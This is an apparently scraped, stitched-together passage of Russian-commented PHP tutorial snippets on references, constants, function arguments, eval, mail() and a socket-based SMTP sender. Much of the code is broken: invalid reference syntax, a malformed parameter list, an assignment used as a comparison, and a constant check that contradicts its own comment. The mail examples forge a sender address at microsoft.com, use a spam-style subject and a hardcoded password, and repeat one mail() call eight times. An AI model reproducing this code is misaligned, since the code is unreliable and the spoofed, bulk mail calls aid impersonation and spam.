        $bar .= "; Передана по ссылке";  // Если переменная передана по ссылке, мы можем изменять ее значение.

}

$str = "Строка";

foo($str);

echo $str; // Выведет: Строка

foo(&$str);

echo $str; // Выведет: Строка; Передана по ссылке

$result = some_function(&$argument);

function process_array()

{

        global $big_array;

        for($i = 0; $i < count($big_array); $i++)

        {

                // Какие-то действия над массивом

        }

}

 

// $big_array должен быть объявлен в глобальной области видимости

$big_array = Array("test1", "test2", "test3");

process_array();

<?

// Чтобы не путать с функциями, констанам обычно дают имена верхнего регистра.

define("MAX_SIZE", 1024);

define("MESSAGE", "HELLO");

 

function foo()

{

        if(defined('MAX_LENGTH') && defined('MESSAGE')) // Определяем, заданы ли константы

        {

                for($i = 0; $i < MAX_LENGTH; $i++) echo MESSAGE;

        }

}

 

foo(); // Выведет HELLO 1024 раза

?>

<?

define('DB_HOST', 'localhost');

define('DB_USER', 'db_user');

define('DB_PASS', 'db_pass');

define('DB_NAME', 'databasename');

?>

<?

include('config.php');

function db_connect()

{

        $base = mysql_connect(DB_HOST,DB_USER,DB_PASS)

          or die('Error: Couldn\'t connect to database server. Please revisit later.');

        mysql_select_db(DB_NAME)

          or die('Error: Couldn\'t select the database. Please visit later.');

        return $base;

}

?>

function shout($text, $num = 1; $message = '')

{

        for($i = 0; $i < $num; $i++) echo $text;

        if($message = '') echo $message; // Своеобразная проверка числа аргументов

}

shout('Hello'); // Просто выведет Hello

shout('Hello', 5); // Выведет Hello 5 раз

shout('Hello', 5, 'Web'); // 5 раз выведет Hello, а потом еще и Web

function writeln()

{

        $args = func_get_args();

        $num = func_num_args();

        for($i = 0; $i < $num; $i++) echo $args[$i]."\r\n";

}

function &foo()

{

        return &$bar;

}

function &foo()

{

        return $bar;

}

$bar = &foo();

function foo()

{

        echo 'Hello';

}

function bar($arg)

{

        echo "Hello, $arg";

}

 

$dynamic_func = 'foo';

$dynamic_func(); // Выведет Hello

$dynamic_func = 'bar';

$dynamic_func('Web'); // Выведет Hello, Web

$str = 'echo "Hello, World";';

eval($str); // Выведет Hello, World

bool mail(string to, string subject, string message

[, string additional_headers [, string additional_parameters]]);

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

function sock_mail($host, $to, $from, $subj, $message, $type)

{

        if($type=="") $type="text/plain"; // Определям тип по умолчанию

        // Соединение

        $fp = fsockopen($host, 25); // Подключаемся на 25 порт сервера $host

        // Приветствие

        $log .= fgets($fp); // Читаем приветствие сервера

        fputs($fp, "HELO: $host"); // Привет, сервер :)

        $log .= fgets($fp); // Читаем ответ

        fputs($fp, "MAIL FROM:<$from>"); // Определяем пользователя

        $log .= fgets($fp); // Читаем ответ

        fputs($fp,"RCPT TO:<$to>"); // Определяем получателя

        $log .= fgets($fp); // Читаем ответ

        fputs($fp, "DATA"); // Приветствие окончено, теперь приступим к делу

        $log .= fgets($fp); // Читаем ответ

        // Заголовки

        fputs($fp, "X-Mailer: Sock_Mail v.1.0"); // Название клиента (необязательно)

        fputs($fp, "Reply-To: $from"); // Адрес, на который идут ответы (необязательно)

        fputs($fp, "From: $from"); // Отправитель

        fputs($fp, "Subject: $subj"); // Тема

        fputs($fp, "MIME-Version: 1.0"); // Версия MIME (необязательно)

        fputs($fp, "Content-Type: $type"); // Тип содержимого

        fputs($fp,""); // Пустая строка

        // Содержимое

        fputs($fp, $message);

        // Конец диалога

        fputs($fp, ".");

        $log .= fgets($fp); // Читаем ответ

        fputs($fp, "QUIT"); // Сообщаем о выходе

        $log .= fgets($fp); // Читаем ответ

        // Завершение соединения

        fclose($fp); // Закрываем сокет

        return $log; // Возвращаем ответы сервера.

}

$m = new Mail(); // Теперь $m - объект класса Mail

$m->Host("mail.myhost.com"); // Будем отправлять писмо с mail.myhost.com

$m->Username("admin"); // Используем пользователя admin

$m->Password("sWordFiSH"); // Пароль - sWordFiSH

$m->Content_type("text/html"); // Письмо в виде HTML

$m->autoCheck(true); // Будем проверять адреса

$m->Subject("How to make million dollars per day."); // Без комментариев

$m->From("user@host.com"); // Отправляем с адреса user@host.com

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");

mail("john@doe.com", "PHP mail() Test", "Это письмо отправлено функцией mail() из PHP скрипта",

"From: admin@microsoft.com\r\nX-Mailer: E-mail Terminator v.1000") or die("Ошибка: не получилось отправить письмо!");